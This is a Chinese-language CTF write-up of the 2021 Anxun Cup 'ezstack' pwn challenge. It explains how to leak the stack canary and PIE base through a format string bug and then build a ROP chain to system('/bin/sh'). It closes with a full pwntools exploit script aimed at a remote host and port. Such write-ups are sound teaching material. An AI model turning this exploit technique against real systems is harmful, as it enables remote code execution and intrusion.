1. 程式人生 > 其它 >2021-安洵杯-pwn ezstack

2021-安洵杯-pwn ezstack

ezstack

  1. 檢視保護

    發現是64位保護全開。

  2. 拖進ida檢視

    可以看到明顯的格式化字串漏洞和棧溢位
    我們還可以發現有後門函式,但是不能利用,但也給了system的plt,可以呼叫。

  3. 我們先利用格式化字元找到canary的位置(繞過canary保護)

    我們可以看到格式化字串偏移是8,如何計算canary的偏移?
    如果canary和格式化字串漏洞中的變數在同一個棧上,則可以這樣計算canary:變數大小減去canary的大小在除以8(32位除以4,64位除以8)就是canary的偏移,(0x20-0x8)/8=3。那格式化字串的偏移加上canary的偏移就可以利用格式化字串獲得canary的值。


    只要我們在payload中新增我們獲取的canary就可以繞過canary保護了

  4. 我們來繞過pie(我說的方法可能只有在此題中有用,不解之處先學習如何繞過pie)

    通過上圖可以看到在我們洩露完canary後,可以發現在%11\(p的下5個偏移是__libc_start_main,獲得他再減去main函式的地址後三位(為什麼是後三位,因為pie保護不會隨機後三位) 構造payload='%11\)p-%16$p'

    用獲取到的地址減去main的後三位就獲得了基址。

    我們獲得基址:0x55555540000
    之後我們只需要基址加上各個函式的後三位就可以或的函式的地址了

  5. exp

點選檢視程式碼
#-*- coding: UTF-8 -*- 
from pwn import *

#p=process("./ezstack")

p=remote("47.108.195.119",20113)

payload="%11$p-%17$p" #為什麼這裡是17呢,在本地是16,而在遠端的時候偏移就是17了
#8 canary=11
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16) #擷取canary地址
print("canary:"+hex(canary))
p.recvuntil('-0x')
libc_start_main=int(p.recv(12),16)-0x0000000000009DC #獲取main的基址
print("libc_start_main:"+hex(libc_start_main))
#gdb.attach(p)

pop_rdi=0x0000000000000b03+int(libc_start_main)
system=0x000000000000810+int(libc_start_main) #直接在ida中檢視system的plt地址
binsh=0x0000000000000b24+int(libc_start_main) #利用ROPgadget --binary ezstack --string "/bin/sh" 找到地址
payload="a"*(0x20-8)+p64(canary)+"a"*8+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter("--+--",payload)

p.interactive()
(為什麼不寫詳細呢,實力有限大家見諒 ╰(●’◡’●)╮)